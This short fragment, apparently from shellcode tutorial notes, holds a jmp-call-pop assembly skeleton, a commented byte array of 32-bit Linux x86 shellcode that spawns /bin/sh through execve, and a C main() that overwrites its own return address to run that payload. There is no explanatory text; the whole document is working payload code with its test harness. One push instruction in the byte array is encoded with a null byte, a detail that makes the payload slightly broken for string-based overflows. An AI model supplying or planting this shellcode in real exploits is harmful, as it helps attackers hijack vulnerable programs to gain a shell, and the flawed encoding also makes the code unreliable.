jmp short GoToCall

shellcode:
pop esi

........
<shellcode meat>
.........

GoToCall:
call shellcode
db '/bin/sh'

char shellcode[] =

"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x73\x68\x00" /* push $0x0068732f(/sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/

"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x31\xd2" /*xorl %edx,%edx */
"\x89\xe1" /*mov %esp,%ecx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */


void main()
{
int* ret;
ret = (int*) &ret + 2;
(*ret) = (int) shellcode;
}